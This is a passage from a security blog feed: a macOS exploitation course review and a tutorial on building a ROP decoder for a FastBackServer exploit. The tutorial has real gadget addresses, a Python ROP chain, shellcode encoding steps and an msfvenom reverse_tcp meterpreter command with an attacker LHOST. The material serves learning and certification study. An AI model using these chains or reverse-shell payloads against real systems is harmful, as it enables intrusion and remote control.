<h2 id="labs-and-linux-dist">Labs and Linux Dist</h2>
<h3 id="labs-521">Labs 5.2.1</h3>
<ul>
  <li>https://wifichallengelab.com</li>
  <li>https://github.com/r4ulcl/WiFiChallengeLab-docker</li>
</ul>

<blockquote>
  <p>Note: For this lab you won’t need any physical cards or anything all performed through, The labs virtual machine include everything, shoutout for <a href="https://github.com/r4ulcl">r4ulcl</a> for this amazing lab.</p>
</blockquote>

<h3 id="linux-dist">Linux Dist</h3>
<ul>
  <li>https://www.wifislax.com: Wireless Pentest OS</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="Notes" /><category term="notes" /><summary type="html"><![CDATA[OSWP & Wireless Pentest Playbook]]></summary></entry><entry><title type="html">OSMR Journey &amp;amp; Guide</title><link href="https://github.com/certificates/osmrjg/" rel="alternate" type="text/html" title="OSMR Journey &amp;amp; Guide" /><published>2024-06-30T00:00:00+00:00</published><updated>2024-06-30T00:00:00+00:00</updated><id>https://github.com/certificates/osmrjg</id><content type="html" xml:base="https://github.com/certificates/osmrjg/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Welcome all to this blog post, I will be sharing my journey for the (Offensive Security(<code class="language-plaintext highlighter-rouge">offsec</code>) macOS Researcher) ethier the course content or the exam, And i will be giving a final review, Where i will be answering some questions &amp; Giving some advice. Aside from a guide to the <code class="language-plaintext highlighter-rouge">OSMR</code> &amp; How to prepare for it, And also it would be helpful even if you are planning to go with <code class="language-plaintext highlighter-rouge">macOS</code> Security Research &amp; Exploitation.</p>

<h2 id="back-in-time">Back In Time</h2>

<p>In my previous work as a Security Researcher, I had analyzed a <code class="language-plaintext highlighter-rouge">Dylib</code> Injection Vulnerability that affects <code class="language-plaintext highlighter-rouge">Telegram</code> App on <code class="language-plaintext highlighter-rouge">macOS</code>, The vulnerability leads to <code class="language-plaintext highlighter-rouge">TCC</code> Bypass, To analysis it in depth, I had to do learn multiple things such as, <code class="language-plaintext highlighter-rouge">macOS</code> basics, <code class="language-plaintext highlighter-rouge">Sandbox</code> in <code class="language-plaintext highlighter-rouge">macOS</code> how it works, <code class="language-plaintext highlighter-rouge">Dylib</code> what is it &amp; how it works, What is <code class="language-plaintext highlighter-rouge">TCC</code> and many more. So I had built a few knowledge &amp; skills regarding the <code class="language-plaintext highlighter-rouge">macOS</code> Research &amp; Exploitation side. You can read my analysis for this vulnerability &amp; also the exploit development for it:</p>
<ol>
  <li><a href="https://zeyadazima.com/macos/CVE_2023_26818_P1/">CVE-2023-26818 Part1: MacOS TCC Bypass with telegram using DyLib Injection</a></li>
  <li><a href="https://zeyadazima.com/macos/CVE_2023_26818_P2/">CVE-2023-26818 Part 2 (Sandbox): MacOS TCC Bypass W/ telegram using DyLib Injection</a></li>
  <li><a href="https://zeyadazima.com/macos/CVE_2023_26818_exploit_P1/">Exploit Writing Part 1: CVE-2023-26818 MacOS TCC Bypass W/ telegram</a></li>
  <li><a href="https://zeyadazima.com/macos/CVE_2023_26818_exploit_P2/">Exploit Writing Part 2: CVE-2023-26818 MacOS TCC Bypass W/ telegram</a>
After finishing the analysis for it, I had identifying some vulnerabilities with the same patterns in some <code class="language-plaintext highlighter-rouge">macOS</code> apps &amp; got little more familiar with <code class="language-plaintext highlighter-rouge">macOS</code>.</li>
</ol>

<h1 id="studying">Studying</h1>

<p>The content of the course is really brilliant &amp; magniful. Mostly, you won’t find that many resources for <code class="language-plaintext highlighter-rouge">macOS</code> in the security part, But there are still some resources around. The course covered a lot of topics.</p>

<blockquote>
  <p>Note: Make sure to use <code class="language-plaintext highlighter-rouge">nomachine</code> app to access the lab machines, As the <code class="language-plaintext highlighter-rouge">VNC</code> service is too lame and slow., You can transfer <code class="language-plaintext highlighter-rouge">nomachine</code> app to the lab using <code class="language-plaintext highlighter-rouge">SSH</code>.</p>
</blockquote>

<h2 id="the-course">The Course</h2>

<p>What is really good about the course is that is using study cases from previously discovered vulnerabilities like <code class="language-plaintext highlighter-rouge">CVEs</code>, Where on each topic they teach the basics &amp; internals of technologies then get some <code class="language-plaintext highlighter-rouge">CVEs</code> where start to discuss it, Analyze it, Developing an exploit for it and perform patch diffing to see how the vulnerability got patched. Which is a great way of learning in my opinion. In general the course is discussing everything on <code class="language-plaintext highlighter-rouge">Intel</code> architecture &amp; There is only one module for <code class="language-plaintext highlighter-rouge">ARM</code> based architecture which is shellcoding.</p>

<p>The course starts with a basic introduction for <code class="language-plaintext highlighter-rouge">macOS</code> components and different technologies like the file type for <code class="language-plaintext highlighter-rouge">macOS</code> &amp; the <code class="language-plaintext highlighter-rouge">mach</code> file architecture, Explaining it in detail, how to inspect it, etc. Then, It moves on using different tools for reverse engineering that are used for static and dynamic analysis, Which will be helpful when you conduct research on any app or <code class="language-plaintext highlighter-rouge">macOS</code> component as it will help you in understanding it and uncover hidden vulnerabilities. It was a basic and simple introduction, But it was useful, And it was practical as there are exercises to help you in practicing what you have learned. Also aside from learning<code class="language-plaintext highlighter-rouge">Objective-C</code> which was enough for the basic programming.</p>

<p>After that, It moves to shellcoding on both <code class="language-plaintext highlighter-rouge">Intel</code> &amp; <code class="language-plaintext highlighter-rouge">ARM</code>. No difference between both except this one using <code class="language-plaintext highlighter-rouge">Intel</code> Assembly &amp; The other one <code class="language-plaintext highlighter-rouge">ARM</code> Assembly, Both parts discussing the same topics and in the same ways with the architecture differences, Except for the <code class="language-plaintext highlighter-rouge">Shellcoding with C</code> which is mostly the same. It teaches also how to get rid of null bytes from your shellcode and optimize it. I was familiar with it as I passed through <code class="language-plaintext highlighter-rouge">OSED</code> and also my previous experience with assembly and other things, So it was easy for me.</p>

<p>Then, It moved with the <code class="language-plaintext highlighter-rouge">Dylib</code> Injection attacks First, Started with the <code class="language-plaintext highlighter-rouge">Dylib</code> technology and it’s restrictions and how it’s applied through <code class="language-plaintext highlighter-rouge">AMFI</code>, And how to identify and exploit <code class="language-plaintext highlighter-rouge">Dylib</code> attacks with different study cases, As I studied this one before i was already familiar with it, But going through the <code class="language-plaintext highlighter-rouge">AMFI</code> was new to me so i enjoyed it.</p>

<p>Following by that, Going with <code class="language-plaintext highlighter-rouge">Mach-IPC</code> starts with explaining <code class="language-plaintext highlighter-rouge">Mach-IPC</code>, How it works and The <code class="language-plaintext highlighter-rouge">Mach Microkernel</code>, Mach special ports, How to identify vulnerable apps &amp; When the apps can be vulnerable to it, And how to exploit it step by step. And escalate the process to <code class="language-plaintext highlighter-rouge">POSIX</code> threat &amp; linject a dylib. Basically, It was a pretty good simple module for learning <code class="language-plaintext highlighter-rouge">code injection</code>.</p>

<p>After that it goes to <code class="language-plaintext highlighter-rouge">XPC</code> Attacks, Starting with explaining <code class="language-plaintext highlighter-rouge">XPC</code> low level API &amp; How it works in practice, Identifying and exploiting insecure <code class="language-plaintext highlighter-rouge">XPC</code>, Moving with <code class="language-plaintext highlighter-rouge">Hooking Functions</code>, Bypassing <code class="language-plaintext highlighter-rouge">Sandbox</code>, <code class="language-plaintext highlighter-rouge">TCC</code> &amp; <code class="language-plaintext highlighter-rouge">GateKeeper</code>, Gaining kernel code execution and many more. Overall the course content was really enjoyable and amazing.</p>
<h2 id="practicing">Practicing</h2>

<p>For the practicing in each module and topic you have exercises and extra miles, And the best thing it’s all real world cases from widely used <code class="language-plaintext highlighter-rouge">macOS</code> Apps, Which will help you in having an overall idea on different cases of vulnerabilities or the patterns to it. Which helps you in general to build your own methodology and mindset in terms of <code class="language-plaintext highlighter-rouge">macOS</code> security research and exploit development. Side by that i was going around in apple security updates (old&amp;new) ones, And check the updates in different versions to see the common patterns and common vulnerabilities found on it</p>

<h1 id="exam">Exam</h1>

<p>The exam contains <code class="language-plaintext highlighter-rouge">4</code> challenges as the following:</p>
<ol>
  <li>Challenge 1: 10 points</li>
  <li>Challenge 2: 30 points</li>
  <li>Challenge 3: 30 points</li>
  <li>Challenge 4: 10 points</li>
</ol>

<p>I started my exam on <code class="language-plaintext highlighter-rouge">23</code> of june at <code class="language-plaintext highlighter-rouge">4 PM</code> in almost total of few mins i already solved the first challenge for <code class="language-plaintext highlighter-rouge">10</code> points, I go for a quick nap, Then I came to the second challenge already identified the vulnerability and how to exploit it, I start writing the exploit code, And for like for few hours, I was just fixing errors with-in my exploit till i discovered that i was writing my exploit code out of the <code class="language-plaintext highlighter-rouge">main()</code> function, Which was the reason causing the error i faced xD, Finally, I fixed it i put my code inside of the <code class="language-plaintext highlighter-rouge">main()</code> function, And finally already pwned the second challenge with <code class="language-plaintext highlighter-rouge">30</code> points, Solving this challenge made me solve the 3rd challenge after it in only <code class="language-plaintext highlighter-rouge">4</code> mins and obtained another <code class="language-plaintext highlighter-rouge">30</code> points. To pass the exam you need a total of <code class="language-plaintext highlighter-rouge">70</code> points, Which i already obtained. I finished it all in the same day and finished my report all in the same day. To be honest, The exam disappointed me. It’s pretty easy even if you have basic knowledge in <code class="language-plaintext highlighter-rouge">macOS</code> research, You would pass it. I was expecting it to be in the same level or more than <code class="language-plaintext highlighter-rouge">OSED</code>.</p>

<p>On <code class="language-plaintext highlighter-rouge">28</code> of june i received my results and already passed:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/7d5f1dca-b2e8-4c82-83e7-be74caf2b6b5" alt="image" /></p>

<h1 id="final-review">Final Review</h1>

<p>Now, I will share my final thoughts and review overall by answering some questions:</p>
<h2 id="do-i-need-something-before-start-">Do i need something before start ?</h2>
<p>Yes, You would also need assembly of both <code class="language-plaintext highlighter-rouge">ARM</code> &amp; <code class="language-plaintext highlighter-rouge">Intel</code>. It will help you in making life easy as there is a lot of reverse engineering using <code class="language-plaintext highlighter-rouge">Hopper</code> in the course. So if you are familiar with <code class="language-plaintext highlighter-rouge">Hopper</code> &amp; Assembly. It will make a lot of things easy for you. Also, It needs you to be strong in <code class="language-plaintext highlighter-rouge">C</code> and <code class="language-plaintext highlighter-rouge">Objective-C</code> if you really want to gain the knowledge and the skills in a right way, You got to have a strong understanding of <code class="language-plaintext highlighter-rouge">C</code> &amp; <code class="language-plaintext highlighter-rouge">Objective-C</code> as there are a lot of exploit development, Shellcoding happening &amp; Also source codes to read and understand. Aside from that, having a basic knowledge of <code class="language-plaintext highlighter-rouge">macOS</code> and its technologies like <code class="language-plaintext highlighter-rouge">XPC</code>, <code class="language-plaintext highlighter-rouge">TCC</code>, etc. Would really help you in obtaining the most of skills and knowledge in this content in a very clear way.</p>

<h2 id="are-exercises--extra-miles-enough-for-the-exam-">Are Exercises &amp; Extra Miles enough for the exam ?</h2>

<p>If you just wanna obtain the certificate, I would say the course exercises and extra miles are really more than enough to obtain the certificate, because as i mentioned the exam is pretty easy. But if you are looking for more challenges you can follow my words in the <code class="language-plaintext highlighter-rouge">practicing</code>.</p>

<h2 id="advice-">Advice ?</h2>

<ul>
  <li>Practice on the exploit development part really well.</li>
  <li>Writing the exploits code on your way, Out of the way the course teaches you</li>
  <li>Make sure to review the code <code class="language-plaintext highlighter-rouge">syntx</code> and structure cause some errors are triaged because of small mistakes like the one i mentioned.</li>
  <li>Go around internet resources related to <code class="language-plaintext highlighter-rouge">macOS</code>, Such as the talks in <code class="language-plaintext highlighter-rouge">BlackHat</code>, etc. It will help you a lot</li>
  <li>If you want to go further, Dive deep into the books and use the <code class="language-plaintext highlighter-rouge">macOS</code> as a developer first.</li>
  <li>Practice, Practice, Practice!</li>
</ul>

<h1 id="osmr-resources">OSMR Resources</h1>
<p>Now, As the resources not that much i will discuss some of resources i got around that you can use in general ethier for <code class="language-plaintext highlighter-rouge">OSMR</code> or <code class="language-plaintext highlighter-rouge">macOS</code> Research in general:</p>
<ul>
  <li><strong>*OS Internals</strong>: https://newosxbook.com/jbooks.html</li>
</ul>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/d1057689-b2e5-4fbe-a5c6-0416bfb6c4b7" alt="image" /></p>

<p>The *OS Internals Books are really amazing and worth every min of reading, The 3 parts discussing internals in terms of <code class="language-plaintext highlighter-rouge">user</code> mode, <code class="language-plaintext highlighter-rouge">kernel</code> mode and the last part for security and it’s even discussing some zeroday discovered before like the one used in pegasus software to obtain access through ZeroClick RCE.</p>

<ul>
  <li>
    <p>The Mac Hacker’s Handbook: https://www.amazon.com/Mac-Hackers-Handbook-Charlie-Miller/dp/0470395362
<img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/0d178e60-1caa-40d0-ac77-4bff38d96474" alt="image" /></p>
  </li>
  <li>
    <p>https://eclecticlight.co/mac-problem-solving/
The <code class="language-plaintext highlighter-rouge">eclecticlight</code> website is full of articles related to <code class="language-plaintext highlighter-rouge">macOS</code> technologies which will help you in understanding a lot of <code class="language-plaintext highlighter-rouge">macOS</code> technologies.</p>
  </li>
  <li>
    <p>https://www.sektioneins.de/categories/blog.html
This website has few analyses for <code class="language-plaintext highlighter-rouge">macOS</code> vulnerabilities which will be helpful.</p>
  </li>
  <li>
    <p>https://objective-see.org/blog.html
A well known website with its amazing projects for <code class="language-plaintext highlighter-rouge">macOS</code>.</p>
  </li>
</ul>

<p>And all the following are the same and has analysis for vulnerabilities in <code class="language-plaintext highlighter-rouge">macOS</code> and It’s technologies:</p>
<ul>
  <li>https://developer.apple.com/documentation/</li>
  <li>https://przhu.github.io</li>
  <li>https://knight.sc</li>
  <li>https://theevilbit.github.io/posts/</li>
  <li>https://rekken.github.io/archives/</li>
  <li>https://nshipster.com</li>
  <li>https://book.hacktricks.xyz/macos-hardening/macos-red-teaming</li>
  <li>https://saagarjha.com/blog/</li>
  <li>https://reverse.put.as</li>
  <li>https://redsweater.com/blog/</li>
  <li>https://www.brunerd.com/blog/</li>
  <li>https://wojciechregula.blog/post/</li>
  <li>https://ronmasas.com</li>
</ul>

<h1 id="conclusion">Conclusion</h1>

<p>In conclusion, The exam was pretty easy, not hard at all, The content was amazing and I learned a lot from it. I do recommend it for anyone interested in <code class="language-plaintext highlighter-rouge">macOS</code> Research &amp; Exploit development, And will advice you to have a strong foundation before you go ahead for the course to make it all easy on you and get the most knowledge and skill out of it. Finally, The experiance in general was pretty amazing.</p>]]></content><author><name>Zeyad Azima</name></author><category term="Certificates" /><category term="certificates" /><summary type="html"><![CDATA[My OSMR Journy and Guide]]></summary></entry><entry><title type="html">ROPGadget: Writing a ROPDecoder</title><link href="https://github.com/exploit%20development/ropdecoder/" rel="alternate" type="text/html" title="ROPGadget: Writing a ROPDecoder" /><published>2024-04-20T00:00:00+00:00</published><updated>2024-04-20T00:00:00+00:00</updated><id>https://github.com/exploit%20development/ropdecoder</id><content type="html" xml:base="https://github.com/exploit%20development/ropdecoder/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Welcome All!, In this blog post we will be talking about creating a <code class="language-plaintext highlighter-rouge">ROPDecoder</code> from scratch as many people face issues in understand the automated process of it. 	And note that you must know how to bypass <code class="language-plaintext highlighter-rouge">DEP</code> and what’s <code class="language-plaintext highlighter-rouge">ROPGadgets</code>, We wil be Starting from selecting our <code class="language-plaintext highlighter-rouge">ROP</code> Gadget, Going to encoding and decoding our shellcode manually, Then moving further to automate the process in 2 ways, A basic way that still needs a small interaction from us, And more advanced way that automate it by <code class="language-plaintext highlighter-rouge">90%</code>, And we would just need to provide our Gadget to it.</p>

<h1 id="the-case">The Case</h1>

<p>Why do we need to have a <code class="language-plaintext highlighter-rouge">ROPDecoder</code> ?, First, We need to fix the bad characters problems, So when we are generating a shellcode using <code class="language-plaintext highlighter-rouge">msfvenom</code> as example, We always provide the bad characters that could crash our exploit using <code class="language-plaintext highlighter-rouge">-b</code> argument (<code class="language-plaintext highlighter-rouge">ex: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.6 LPORT=1337 -b "\x00\x20\x21"</code>), What will happen here is that the <code class="language-plaintext highlighter-rouge">encoder</code> will encode these bad characters, After that during the runtime or the execution of the shellcode the shellcode will retrive the encoded bad characters and then complete the execution, But when we are bypassing mitigations like <code class="language-plaintext highlighter-rouge">DEP</code> using <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> API, Our exploit will crash, As the goal of this API is to write data from place to another in the memory, The place that the API will write to, Have to be marked with execution permissions, And such locations in memory are in the <code class="language-plaintext highlighter-rouge">.text</code> or code section of the software So, The issue with it is that the location is not writable (During the execution of <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> it will change the location permission to writable and after writing the data, It will retrive the old permissions to it), Therefor, As the location is not writable, Then when the decoder in the shellcode try to replace the bad characters which requires to write or change in it’s place, It needs write permissions which are not avaliable. As a result, It will cause a crash and won’t be executed and <code class="language-plaintext highlighter-rouge">Access Violation</code> will be rasied.</p>

<h1 id="weponizing-w-gadgets">Weponizing w/ Gadgets</h1>

<p>We will be using <code class="language-plaintext highlighter-rouge">FastBackServer</code> as our target, First we need to get our own gadget from one of <code class="language-plaintext highlighter-rouge">FastBackServer</code> modules, Here i picked up <code class="language-plaintext highlighter-rouge">CSFTPAV6.dll</code> module. When we are decoding our shellcode, We have to focus on the following type of gadgets:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">add byte [reg]</code></li>
  <li><code class="language-plaintext highlighter-rouge">add byte [reg{+/-}{offset/reg}]</code></li>
  <li><code class="language-plaintext highlighter-rouge">sub byte [reg]</code></li>
  <li><code class="language-plaintext highlighter-rouge">sub byte [reg{+/-}{offset/reg}]</code></li>
</ul>

<p>And also we could use other gadgets if we can’t find the above ones, Such as:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ror</code></li>
  <li><code class="language-plaintext highlighter-rouge">rol</code></li>
  <li><code class="language-plaintext highlighter-rouge">shr</code></li>
  <li><code class="language-plaintext highlighter-rouge">shl</code></li>
  <li><code class="language-plaintext highlighter-rouge">or</code></li>
  <li><code class="language-plaintext highlighter-rouge">and</code></li>
</ul>

<p>But, In my case i found many gadgets as the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x5051f2be: add byte [esi+0x5D], bl ; ret  ;  (1 found)
0x50541fae: add byte [esi+0x5D], bl ; ret  ;  (1 found)
0x50516959: add byte [esi+0x5F], bl ; ret  ;  (1 found)
0x50526766: add byte [esi+0x5F], bl ; ret  ;  (1 found)
.....
0x5054348e: add byte [edx], bh ; ret  ;  (1 found)
0x50549016: add byte [edx], bh ; ret  ;  (1 found)
0x50548ec4: add byte [edx], bh ; ret  ;  (1 found)
0x50548f39: add byte [edx], bh ; ret  ;  (1 found)
0x505490a2: add byte [edx], bh ; ret  ;  (1 found)
......
0x505229c2: add byte [edx], ch ; ret  ;  (1 found)
0x50523aec: add byte [edx], ch ; ret  ;  (1 found)
0x5050626e: add byte [esi+0x3B], ah ; ret  ;  (1 found)
......
</code></pre></div></div>

<p>I will pick up <code class="language-plaintext highlighter-rouge">0x5050626e: add byte [esi+0x3B], ah ; ret  ;</code> as a decoding gadget, specially, in my case the <code class="language-plaintext highlighter-rouge">esi</code> register has is used as the pointer to patch the arguments in my <code class="language-plaintext highlighter-rouge">ROPGadget</code>; <code class="language-plaintext highlighter-rouge">0x5051cbb6: mov dword [esi], eax ; ret  ;</code>, And also it’s using the value in <code class="language-plaintext highlighter-rouge">ah</code> to be added where <code class="language-plaintext highlighter-rouge">esi+0x3B</code> points to, As i do have control over <code class="language-plaintext highlighter-rouge">eax</code> and i can pop any value into it, Then we are good to go and use this gadget. Now, We would need the following steps to perform a successful decoding for the bad characters:</p>
<ol>
  <li>Make <code class="language-plaintext highlighter-rouge">esi+0x3B</code> point to the bad character.</li>
  <li>Pop our decoding value into <code class="language-plaintext highlighter-rouge">eax</code>.</li>
  <li>Add the value of <code class="language-plaintext highlighter-rouge">ah</code> into where <code class="language-plaintext highlighter-rouge">esi+0x3B</code> is pointing.</li>
  <li>Move to the next bad character and decode it..</li>
</ol>

<p>As there are no gadgets that perform direct operations on <code class="language-plaintext highlighter-rouge">esi</code> to make it point where we need, Then we will use the following gadgets:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#0x5050118e: mov eax, esi ; pop esi ; ret  ;  (1 found)
#0x5052db24: pop ecx ; ret  ;
#0x50533bf4: sub eax, ecx ; ret  ;  (1 found)
#0x505263f9: push eax ; pop esi ; pop ebx ; ret  ;  (1 found)
#0x5053a0f5: pop eax ; ret  ;  (1 found)
#0x5050626e: add byte [esi+0x3B], ah ; ret  ;
</code></pre></div></div>
<ol>
  <li><code class="language-plaintext highlighter-rouge">0x5050118e: mov eax, esi ; pop esi ; ret  ;</code>
    <ul>
      <li>Here we would move the value in <code class="language-plaintext highlighter-rouge">esi</code> (which has the <code class="language-plaintext highlighter-rouge">esp</code> value before) into <code class="language-plaintext highlighter-rouge">eax</code>, And pop a dummy value into <code class="language-plaintext highlighter-rouge">esi</code>.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">0x5052db24: pop ecx ; ret  ;</code>
    <ul>
      <li>Next, We will pop the negative offset value to the bad characters into <code class="language-plaintext highlighter-rouge">ecx</code>, As the positive value would contain bad characters &amp; also NULL-Byte.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">0x50533bf4: sub eax, ecx ; ret  ;</code>
    <ul>
      <li>After that we will subtract the value in <code class="language-plaintext highlighter-rouge">ecx</code> from <code class="language-plaintext highlighter-rouge">eax</code>, Which means if we have <code class="language-plaintext highlighter-rouge">-0x01</code> in <code class="language-plaintext highlighter-rouge">ecx</code>, It will add it to <code class="language-plaintext highlighter-rouge">eax</code> (e.x:<code class="language-plaintext highlighter-rouge">0x1</code>, As it’s negative value and we are using <code class="language-plaintext highlighter-rouge">sub</code> instruction, Then negative and negative will result in <code class="language-plaintext highlighter-rouge">add</code> operation..</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">0x505263f9: push eax ; pop esi ; pop ebx ; ret  ;  (1 found)</code>
    <ul>
      <li>Then we moving the value in <code class="language-plaintext highlighter-rouge">eax</code> to <code class="language-plaintext highlighter-rouge">esi</code>, By pushing <code class="language-plaintext highlighter-rouge">eax</code> it into the stack &amp; pop it into <code class="language-plaintext highlighter-rouge">esi</code>, So now <code class="language-plaintext highlighter-rouge">esi</code> will point to the bad characters and We will provide dummy value into <code class="language-plaintext highlighter-rouge">ebx</code>.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">0x5053a0f5: pop eax ; ret  ;</code>
    <ul>
      <li>Moving to poping the decoding value into <code class="language-plaintext highlighter-rouge">eax</code>.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">0x5050626e: add byte [esi+0x3B], ah ; ret  ;</code>
    <ul>
      <li>Finally, Apply the decoding gadget.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">0x5051579a: add eax, ecx ; ret  ;</code>:
    <ul>
      <li>For adding the previous</li>
    </ul>
  </li>
</ol>

<h1 id="manually-encodingdecoding">Manually Encoding/Decoding</h1>

<p>After getting our gadget and make sure it doesn’t has any bad characters, Which in my case are <code class="language-plaintext highlighter-rouge">"\x00\x09\x0a\x0b\x0c\x0d\x20"</code>. Now, Our full gadget is as the following:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ROPDecoder</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">negative_offset_value_to_shellcode</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x50533bf4</span><span class="p">)</span> <span class="c1"># sub eax, ecx ; ret  ; add the offset to eax
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="n">decoding_value</span><span class="p">)</span>
<span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bbad character
</span></code></pre></div></div>

<h2 id="encoding">Encoding</h2>

<p>Now, It’s time to generate our shellcode, And for our testing case, We will use <code class="language-plaintext highlighter-rouge">Windows/exec</code> payload for now. And we will use it just to pop a calculator:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/f99e01ab-7cf9-47b1-bd7f-66a8b96289c3" alt="image" /></p>

<p>We can notice donz of bad characters that will crash our exploit, So, When we comme to encoding bad characters manually we need to replace it with a value that not considered as a bad character. For example we can add <code class="language-plaintext highlighter-rouge">1</code> or subtract <code class="language-plaintext highlighter-rouge">1</code> from our bad character. Taking <code class="language-plaintext highlighter-rouge">\x00</code> as example if we add <code class="language-plaintext highlighter-rouge">1</code> to it, It will be <code class="language-plaintext highlighter-rouge">\x01</code> or subtract <code class="language-plaintext highlighter-rouge">1</code> it will be <code class="language-plaintext highlighter-rouge">\xff</code> which not consider a bad character in both cases. And then when we are decoding it, We will add also <code class="language-plaintext highlighter-rouge">1</code> or subtract <code class="language-plaintext highlighter-rouge">1</code>. But, In our case it won’t be a good idea, As if we apply it for <code class="language-plaintext highlighter-rouge">\x09</code> it will turn to <code class="language-plaintext highlighter-rouge">\0x0a</code> if we added one. Also the same for <code class="language-plaintext highlighter-rouge">\x0a</code>, If we added one again or subtract one, It will turn into bad character. To fix this issue we will deal with it by adding random value into each bad character and see the results, For now the only bad characters that are exist in our shellcode are: <code class="language-plaintext highlighter-rouge">\x00x0a\x0c\x0d\x20</code>. As we mentioned before we can’t add or subtract <code class="language-plaintext highlighter-rouge">1</code> in our case, Also the positive decoding value would result in NULL-Bytes, Then our random value can start from negative values from <code class="language-plaintext highlighter-rouge">0xff</code> till <code class="language-plaintext highlighter-rouge">0x01</code> as we can’t use <code class="language-plaintext highlighter-rouge">0xff</code> (which is <code class="language-plaintext highlighter-rouge">-1</code>) or <code class="language-plaintext highlighter-rouge">0x01</code>, We would start with <code class="language-plaintext highlighter-rouge">0xfe</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/3390b767-81dd-4130-bfdc-1eba9869cf22" alt="image" /></p>

<p>When we arrive to <code class="language-plaintext highlighter-rouge">\x0c</code> (Ignore all bytes on the left we only focus on the last one on the right), It results in <code class="language-plaintext highlighter-rouge">0x0a</code> which is a bad character, So we will go to the next value which is <code class="language-plaintext highlighter-rouge">0xfd</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/62b8221e-7a23-4e05-85ec-d52eeccad594" alt="image" /></p>

<p>Again, When we arrive to <code class="language-plaintext highlighter-rouge">\x0c</code>, It gives us <code class="language-plaintext highlighter-rouge">0x09</code> which also consider as a bad character. Then we will move with the next value which is <code class="language-plaintext highlighter-rouge">0xfc</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/dc747910-15ab-41bc-94ea-941614a7dd20" alt="image" /></p>

<p>When we arrive to <code class="language-plaintext highlighter-rouge">\x0d</code>, It gives us <code class="language-plaintext highlighter-rouge">0x09</code> which also consider as a bad character. Then we will move with the next value which is <code class="language-plaintext highlighter-rouge">0xfb</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/70ee438f-fc3e-4ff4-9f65-4bfe3305d78c" alt="image" /></p>

<p>Here we can see clearly that <code class="language-plaintext highlighter-rouge">0xfb</code> works with us, And results in no bad characters So we can encode the bad characters with the new values, That we have got from the addition process with <code class="language-plaintext highlighter-rouge">0xfb</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Encoding (replacement) for the bad characters:
0x00 -&gt; 0xfd
0x0a -&gt; 0x05
0x0c -&gt; 0x07
0x0d -&gt; 0x08
0x20 -&gt; 0x1b
</code></pre></div></div>

<p>Now, Let’s replace/encode our bad characters:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/169fe5ba-c40e-4891-90b0-b8e74a92c6e7" alt="image" /></p>

<p>We replaced/encoded the bad characters with the results we have got.</p>
<h2 id="decoding">Decoding</h2>
